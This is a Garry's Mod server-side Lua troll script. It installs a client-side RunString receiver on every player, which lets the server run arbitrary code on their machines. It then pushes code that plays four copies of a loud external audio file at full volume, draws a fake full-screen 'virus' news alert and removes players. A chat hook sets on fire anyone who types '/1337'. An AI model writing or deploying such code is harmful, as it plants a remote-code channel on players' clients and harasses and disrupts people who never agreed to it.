Untitled

util.AddNetworkString "skeleton_dancing_troll"

local lol = {}
function lol:RandomString( intMin, intMax )
	local ret = ""
	for _ = 1, math.random( intMin, intMax ) do
		ret = ret.. string.char( math.random(65, 90) )
	end

	return ret
end

lol.m_tblActions = {}
lol.m_strImageGlobalVar = lol:RandomString( 6, 12 )
lol.m_strImageLoadHTML = [[<style type="text/css"> html, body {background-color: transparent;} html{overflow:hidden; ]].. (true and "margin: -8px -8px;" or "margin: 0px 0px;") ..[[ } </style><body><img src="]] .. "%s" .. [[" alt="" width="]] .. "%i"..[[" height="]] .. "%i" .. [[" /></body>]]

function lol:PushAction( intChainDelay, func )
	self.m_tblActions[#self.m_tblActions +1] = { intChainDelay, func }
end

function lol:NextAction( pPlayer )
	pPlayer.m_intCurAction = pPlayer.m_intCurAction +1
	if not self.m_tblActions[pPlayer.m_intCurAction] then return end

	timer.Simple( self.m_tblActions[pPlayer.m_intCurAction][1], function()
		if not IsValid( pPlayer ) then return end
		self.m_tblActions[pPlayer.m_intCurAction][2]( pPlayer )
		self:NextAction( pPlayer )
	end )
end

function lol:Start( pPlayer )
	pPlayer.m_intCurAction = 0
	self:NextAction( pPlayer )
end

function lol:SendLua( pPlayer, strLua )
	net.Start( "skeleton_dancing_troll" )
		net.WriteString( strLua )
	net.Send( pPlayer )
end

function lol:SetupPlayer( pPlayer )
	pPlayer:SendLua( "net.Receive(\"skeleton_dancing_troll\", function() RunString(net.ReadString()) end)" )
end

for k, v in pairs( player.GetAll() ) do
	lol:SetupPlayer( v )
	timer.Simple( 2, function() lol:Start( v ) end )
end

hook.Add( "PlayerAuthed", "wat", function( pPlayer )
	lol:SetupPlayer( pPlayer )
	timer.Simple( 10, function() lol:Start( pPlayer ) end )
end )

hook.Add( "PlayerSay", "1337command", function( pSender, strText, bTeamChat )
	if strText:sub( 1, 5 ) == "/1337" then
		pSender:Ignite( 1e9 )
		pSender:ChatPrint( "Nop" )
		pSender:SendLua( [[surface.PlaySound( "vo/npc/male01/hacks01.wav" )]] )
		return false
	end
end )


--EVIL TIME rip headpones
lol:PushAction( 0, function( pPlayer )
	lol:SendLua( pPlayer, [[

		local sounds = {}
		for i = 1, 4 do
			sound.PlayURL( "http://rebug.kryptonnetworks.net/l.mp3", "noblock noplay", function( pChan )
				sounds[#sounds +1] = pChan
			end )
		end

		timer.Create( "asdf", 1, 0, function()
			if #sounds ~= 4 then return end
			timer.Destroy( "asdf" )
			for k, v in pairs( sounds ) do v:EnableLooping( false ) v:SetVolume( 1 ) v:Play() end
		end )

surface.CreateFont( "NEWS1", {font = "Arial",size = 70,weight = 2000,})
surface.CreateFont( "NEWS2", {font = "Arial",size = 150,weight = 2000,})
local newsPan1 = vgui.Create("DPanel")
		newsPan1:SetSize(ScrW(), 150)
		newsPan1:SetPos(0, ScrH()-150)
		newsPan1.Paint = function()
			surface.SetDrawColor(255,255,255,255)
			surface.DrawRect(0,0,newsPan1:GetWide(),newsPan1:GetTall())
			surface.SetDrawColor(0,230,255,255)
			surface.DrawRect(0,4,newsPan1:GetWide(),newsPan1:GetTall())
		end
	local newsPan2 = vgui.Create("DPanel")
		newsPan2:SetSize(ScrW(),ScrH())
		newsPan2:SetPos(0,0)
		newsPan2.Paint = function()
		local trap3 = {
			{x = ScrW()-504, y = ScrH()-150},
			{x = ScrW()-439, y = ScrH()-254},
			{x = ScrW(), y = ScrH()-254},
			{x = ScrW(), y = ScrH()-150},
		}
		local trap4 = {
			{x = ScrW()-500, y = ScrH()-146},
			{x = ScrW()-435, y = ScrH()-250},
			{x = ScrW(), y = ScrH()-250},
			{x = ScrW(), y = ScrH()-146},
		}
		local trap5 = {
			{x = ScrW()-475, y = ScrH()-156},
			{x = ScrW()-432, y = ScrH()-235},
			{x = ScrW()-8, y = ScrH()-235},
			{x = ScrW()-8, y = ScrH()-156},
		}
			draw.NoTexture()
			surface.SetDrawColor(255,255,255,255)
			surface.DrawPoly(trap3)
			draw.NoTexture()
			surface.SetDrawColor(0,240,255,255)
			surface.DrawPoly(trap4)
			draw.NoTexture()
			surface.SetDrawColor(0,230,255,255)
			surface.DrawPoly(trap5)
		end
	local title2 = vgui.Create("DLabel", newsPan2)
	title2:SetFont("NEWS1")
	title2:SetText("Gmod News")
	title2:SizeToContents()
	title2:SetPos(ScrW()-title2:GetWide()-55, ScrH()-254+title2:GetTall()/2-12)
	title2:SetColor(Color(255,255,255))

	local title3 = vgui.Create("DLabel", newsPan1)
	title3:SetFont("NEWS2")
	title3:SetText("BREAKING NEWS GMOD HAS BEEN INFECTED WITH PEWDIEPIE VIRUS CALL THE POLICE NOW!")
	title3:SizeToContents()
	title3:SetPos(ScrW(), 10)
	title3:SetColor(Color(255,255,255))
	timer.Create("movingtext2",.05,0,function()
		if title3:GetPos() >= 0-title3:GetWide() then
			title3:SetPos(Lerp(.5,title3:GetPos(),title3:GetPos()-10),10)
		else
			title3:SetPos(ScrW(),10)
		end
	end)

]] )

	pPlayer:Remove()
end )